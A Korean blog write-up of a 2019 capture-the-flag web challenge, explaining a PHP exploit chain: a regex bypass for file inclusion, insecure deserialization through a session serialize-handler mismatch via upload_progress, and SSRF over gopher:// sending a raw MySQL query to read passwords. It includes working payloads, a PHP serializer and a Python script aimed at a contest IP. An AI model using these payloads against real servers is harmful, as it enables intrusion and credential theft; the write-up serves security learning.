19Cyberoc: Hidden Service Write up
2019 사이버작전 경연대회 본선에 나왔던 Hidden Service라는 웹 문제다.
PHP 세션 핸들링 과정에서 읽고 쓰는 핸들러가 다를 때 발생하는 Insecure deserialization 취약점을 통해 플래그를 얻는 문제였는데, 아이디어가 재밌어서 글로 남겨본다.
일반부/청소년부 같은 문제로 이름만 다르게 나왔다. (Secret Service, Hidden Service)
1. 소스를 얻어보자 (Source code leaks)
첨부 파일로 준 index.php
를 읽다보면 file inclusion 취약점을 발견할 수 있다.
SimpleRouter::post("/intra/view", function() {
$service = input("service", false, "post");
if($service === false)
return "No such service";
chdir("intra");
$service = str_replace("_", "/", $service);
if(strpos($service, '/') === 0 || preg_match("/^.*(\\.\\.|php).*$/", $service))
return "Don't cheat!";
include $service.".php";
chdir("..");
});
8번째 줄을 보면 ^.*(\\.\\.|php).*$
라는 정규식으로 사용자의 입력($service)을 검사한 뒤
include로 넘겨주고 있다, 정규식에서 i
flag없이 소문자만 검사하므로 php://대신 pHp://, PHP:// 와 같이 대문자를 섞으면 정규식 검사를 우회하고 file inclusion 공격을 트리거할 수 있다.
service=PHP://filter/convert.base64-encode/resource=index
php wrapper를 이용해서 index.php
, config.php
, helper.php
, dbconn.php
등
여러 소스 코드를 얻었으니 분석하며 취약점을 찾아보자.
2. 취약점 찾아 삼만리 (Chaining vulnerabilities)
dbconn.php
dbconn.php에는 db연결 정보가 담겨있었고 mysqli_connect
함수에서 패스워드 인자가 비어있었다. 여기서 추측할 수 있는건, 경험상 해당 유저의 패스워드가 설정되어있지 않으므로 SSRF 취약점을 찾는다면 따로 비밀번호 인증 패킷없이 gopher://
scheme을 사용하여 내부 mysql 서비스로 raw query를 날릴 수 있다.
config.php
config.php에는 ReportModule, LogModule 이렇게 2개의 클래스가 있었는데
ReportModule 클래스의 send_real
메소드에서 SSRF가 가능해보였다.
class ReportModule {
/* ... */
public function send_report() {
return $this->send_real();
}
private function send_real() {
$target_host = parse_url($this->target, PHP_URL_HOST);
if($target_host !== "localhost")
return "Report can only be sent to localhost";
$curl= curl_init();
curl_setopt($curl, CURLOPT_URL, $this->target);
$res = curl_exec($curl);
curl_close($curl);
return $res;
}
/* ... */
}
class LogModule {
/* ... */
public function __destruct() {
if($this->rpt_module == null || !method_exists($this->rpt_module, "send_report"))
return;
$log_string = "REPORT_LOG";
$this->write_line($log_string." - ".$this->rpt_module->send_report());
}
}
LogModule 클래스를 보면, 소멸자 __destruct
에서 send_report
메소드를 호출해주고 있다. (Line 26) 근데 바로 위에있는 조건문(Line 23)을 통과해야 호출해주는데, 위 조건을 만족하려면 $this->rpt_module
변수가 ReportModule 클래스의 인스턴스여야 가능하다.
하지만 눈씻고 찾아봐도 $this->rpt_module = new ReportModule();
와 같은 코드는 없었으므로
deserialization 취약점을 찾아 직접 send_report
를 호출해야하는 상황이었다.
Deserialization attack through PHP session handling method
unserialize
함수에 내 입력이 들어가거나 여러 파일 관련 함수에서 phar://
scheme를 쓸만한 곳이 있나 찾아보던 도중 config.php
의 상단에 있던 ini_set
으로 재설정해주고 있는 옵션이 눈에 들어왔다.
<?php
ini_set('pcre.backtrack_limit', '500');
ini_set('session.serialize_handler', 'php');
php.net에 따르면 pcre.backtrack_limit 옵션은 preg_replace, preg_match 같은 정규식 관련 함수가 수행 할 수있는 최대 바인딩 길이를 설정하는 옵션이고, 그 아래에 있는 session.serialize_handler 옵션은 PHP 세션을 직렬화/역직렬화 할 때 사용하는 핸들러를 지정해줄 수 있는 옵션이라고 한다. session.serialize_handler 옵션의 기본 값은 php
며 php_binary
, php_serialize
, wddx
등 다양한 값으로 설정이 가능하다.
참고:
https://www.php.net/manual/en/pcre.configuration.php
https://www.php.net/manual/en/session.configuration.php#ini.session.serialize-handler
다시 문제 페이지로 돌아와, /info
페이지로 이동하면 phpinfo를 제공한다.
쭉 아래로 내려 session.serialize_handler 부분을 보면 php.ini에서는 php_serialize
로 설정해놨다. 따라서 session.serialize_handler 옵션의 Master Value(글로벌 값)는 php_serialize
이며 config.php에서 ini_set
을 이용해 php
로 재설정 해주고 있었다.
Master Value : session.serialize_handler = php_serialize
Local Value : session.serialize_handler = php
즉, 세션을 직렬화해서 세션 파일에 저장할 때와 읽어서 역직렬화할 때 서로 다른 방식으로 진행된다. 이를 통해 세션에 원하는 데이터를 넣고 세션을 불러오는 과정에서 deserialization 공격이 가능하다. (어떻게 가능한지는 뒤에서 자세히 설명하겠다)
자, 이제 session_start
함수호출 없이 세션 파일에 원하는 데이터를 쓸 수 있어야 하는데
이건 PHP의 session.upload_progress 기능을 이용하면 가능하다.
3. PHP의 session.upload_progress
PHP는 업로드 중인 개별 파일의 업로드 진행률을 추적할 수 있도록 session.upload_progress라는 옵션을 제공한다.
session.upload_progress.enabled, session.upload_progress.cleanup 이렇게 2개의 옵션은 기본 On
으로 설정되어 있는데 session.upload_progress.enabled가 On
이면 session_start 함수 호출없이 세션 파일을 생성할 수 있다.(업로드 진행률 추적을 위해 세션 사용) 단, session.upload_progress.cleanup 옵션이 On
으로 활성화되어 있다면 진행률 추적에 쓰인 세션 파일은 자동으로 삭제된다.
(자동으로 삭제되는 상황에서도 용량이 큰 파일을 올려서 삭제에 딜레이를 주는 방법이 있는데 따로 포스팅)
반대로 session.upload_progress.cleanup 옵션이 Off
라면 session_start 함수 호출없이
내가 원하는 값을 포함한 세션 파일을 생성하고 유지할 수 있다는 의미다.
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
/info
에서 해당 옵션의 값을 확인해보니 딱 들어맞았다. (enabled는 On, cleanup은 Off)
이제 아래 multipart/form-data 요청으로 세션에 원하는 데이터를 넣을 수 있다.
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="abcd"
Content-Type: text/plain
------WebKitFormBoundaryUmsB8xWbmldnarAQ--
정리하면, 나는 원하는 데이터를 담아 session_start
함수 호출없이 세션파일을 생성할 수 있고 세션을 읽고 쓰는 핸들러가 서로 다르다는 것을 알았다.
4. 로컬에서 RCE 테스트
우선 테스트를 위해 index.php, rce.php 이렇게 2개의 파일을 준비했다.
index.php는 아무 내용도 없는 빈 파일이고 rce.php의 내용은 아래와 같다.
class A {
public $cmd;
function __destruct() {
eval($this->cmd);
}
}
session_start();
그리고, 세션 파일에 내가 원하는 데이터를 포함시킬 수 있도록 php.ini
에서 다음과 같이 설정해준다.
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off
이제 다음과 같이 index.php
으로 POST 요청을 보내면 /var/lib/php/sessions
에 세션 파일이 생성되는걸 확인할 수 있다.
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:1:\\"A\\":1:{s:3:\\"cmd\\";s:10:\\"phpinfo();\\";}"
Content-Type: text/plain
------WebKitFormBoundaryUmsB8xWbmldnarAQ--
root@munswings:/var/lib/php/sessions# ls
sess_munsiwoo
root@munswings:/var/lib/php/sessions#
phpinfo 함수가 호출되도록 페이로드를 구성했다.
세션 핸들러(session.serialize_handler)에 따른 세션 파일 내용
요청을 보냈을 때 생성되는 세션 파일 sess_munsiwoo
의 내용은 다음과 같다.
Local Value, Master Value 둘다php
일 때:
upload_progress_abc|a:5:{s:10:"start_time";i:1568682523;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpHEOzEC";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682523;s:15:"bytes_processed";i:5;}}}
Local Value, Master Value 둘다 php_serialize
일 때:
a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}";s:8:"tmp_name";s:14:"/tmp/phpz5NId3";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1568682633;s:15:"bytes_processed";i:5;}}}}
우선 위와 같은 세션 데이터를 가지고 session_start
함수를 호출한다고 해서 바로 phpinfo
가 호출되진 않는다. 당연한 결과다, filename을 |O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
로 설정했다고 해서 이 값을 그대로 역직렬화해주진 않는다.
여기서, 문제 서버 설정과 같이 php_serialize
방식으로 직렬화된 값을 php
방식으로 역직렬화하면 어떻게 될까?
문제 서버 설정과 똑같이 rce.php 상단에 ini_set
한 줄을 추가해보았다.
<?php
ini_set('session.serialize_handler', 'php');
class A {
public $cmd;
function __destruct() {
eval($this->cmd);
}
}
session_start();
ini_set
를 이용하여 임의로 핸들러 값(session.serialize_handler 옵션)을 php
로 변경해주고
session_start
함수를 호출하니 기존의 세션 값은 아래와 같이 바뀌며 phpinfo 함수가 실행된다.
(당시 스크린샷이 없으므로 아무 phpinfo이미지로 대체)
a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568682633;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
가 뒤에 붙은걸 확인할 수 있다.
따라서 해당 세션 값이 역직렬화되면서 phpinfo 함수가 실행된 것이다.
5. 정리
정리하면 빈 페이지(index.php)에서 upload_progress 옵션을 이용하여 session_start
함수 호출없이 세션 핸들러를 php_serialize
으로 생성한 세션(PHPSESSID)을 php
핸들러로 다시 역직렬화하니 phpinfo();
가 실행됐다.
그래서 결론적으로 왜 실행됐을까?
이유는 세션 핸들러가 php
면 파이프 문자(|
)로 세션 명과 세션 데이터를 구분하기 때문이다.
ex) a|i:1234;
a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:"|O:1:"A":1:{s:3:"cmd";s:10:"phpinfo();";}
위와 같이 php_serialize
방식으로 직렬화된 세션 데이터를 php
방식으로 역직렬화한 값을 var_dump로 보면
array(1) {
["a:1:{s:19:"upload_progress_abc";a:5:{s:10:"start_time";i:1568683023;s:14:"content_length";i:331;s:15:"bytes_processed";i:331;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:3:"abc";s:4:"name";s:41:""]=>
object(__PHP_Incomplete_Class)#1 (2) {
["__PHP_Incomplete_Class_Name"]=>
string(1) "A"
["cmd"]=>
string(10) "phpinfo();"
}
}
이렇게 |
가 나오기 전까지는 세션명으로, 그 후는 세션 데이터로 파싱하면서
[“cmd”]에 phpinfo();
가 들어간 것을 확인할 수 있다.
6. Exploit
<?php
error_reporting(0);
# made by munsiwoo
class ReportModule { public $target; }
class LogModule { public $filename, $rpt_module; }
$rpt_module = new ReportModule();
$rpt_module->target = 'gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01';
$log_module = new LogModule();
$log_module->filename = 'log/munsiwoo123';
$log_module->rpt_module = $rpt_module;
echo '|'.str_replace('"', '\\\\"', serialize($log_module));
gopher://localhost:3306/_
뒤에 붙는 데이터는 MySQL 쿼리를 직접 요청할 수 있는 raw data다.
위에서는 select group_concat(value) from intra_data.password;
를 요청하도록 생성했다.
위 코드를 실행해서 나온 직렬화된 데이터를 filename에 담아서 세션 데이터에 포함시켜 세션을 생성한다.
import requests
contents = """------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
munsiwoo
------WebKitFormBoundaryUmsB8xWbmldnarAQ
Content-Disposition: form-data; name="file"; filename="|O:9:\\"LogModule\\":2:{s:8:\\"filename\\";s:15:\\"log/munsiwoo123\\";s:10:\\"rpt_module\\";O:12:\\"ReportModule\\":1:{s:6:\\"target\\";s:724:\\"gopher://localhost:3306/_%a7%00%00%01%85%a2%1e%00%00%00%00%40%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%69%6e%74%72%61%5f%6d%61%6e%61%67%65%72%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%61%03%5f%6f%73%09%64%65%62%69%61%6e%36%2e%30%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%32%33%34%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%08%35%2e%36%2e%36%2d%6d%39%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%03%66%6f%6f%03%62%61%72%35%00%00%00%03%73%65%6c%65%63%74%20%67%72%6f%75%70%5f%63%6f%6e%63%61%74%28%76%61%6c%75%65%29%20%66%72%6f%6d%20%69%6e%74%72%61%5f%64%61%74%61%2e%70%61%73%73%77%6f%72%64%3b%01%00%00%00%01\\";}}"
Content-Type: text/plain
------WebKitFormBoundaryUmsB8xWbmldnarAQ--"""
url = "http://13.209.230.31/admin"
headers = {
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryUmsB8xWbmldnarAQ",
"Cookie": "PHPSESSID=munsiwoo"
}
requests.post(url, headers=headers, data=contents)
result = requests.get(url, headers=headers).text
print(result)
후기
재밌는 아이디어로 php deserialization 공격을 해볼 수 있어서 좋았다.
끝까지 읽어주셔서 감사합니다. (_ _)
참고한 자료들 (Reference)
https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html
http://wonderkun.cc/index.html/?p=718
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://gist.github.com/chtg/f74965bfea764d9c9698
https://www.zzfly.net/ctf-serialize/
https://bugs.php.net/bug.php?id=71101
https://bugs.php.net/bug.php?id=72681
https://www.php.net/manual/en/session.upload-progress.php
https://www.php.net/manual/en/session.configuration.php#ini.session.serialize-handler
9 Comments
Leave a Reply
You must be logged in to post a comment.
juno
2019-09-17 at 20:55amazing
posix
2019-09-18 at 20:12incredible
howdays
2019-09-19 at 17:18hm,,,teresting…
정경빈
2020-01-06 at 16:07DOGE
ipwning
2021-01-15 at 00:22Wonderful
ipwn
2021-01-15 at 00:23http://munsiwoo.kr/1.jpg
c2w2m2
2021-01-15 at 00:23멋져요 오빠
P1nkjelly
2021-01-15 at 01:37Wow
eyeges
2021-09-22 at 00:26hello, how can i solve this problem with this page showing? eyeg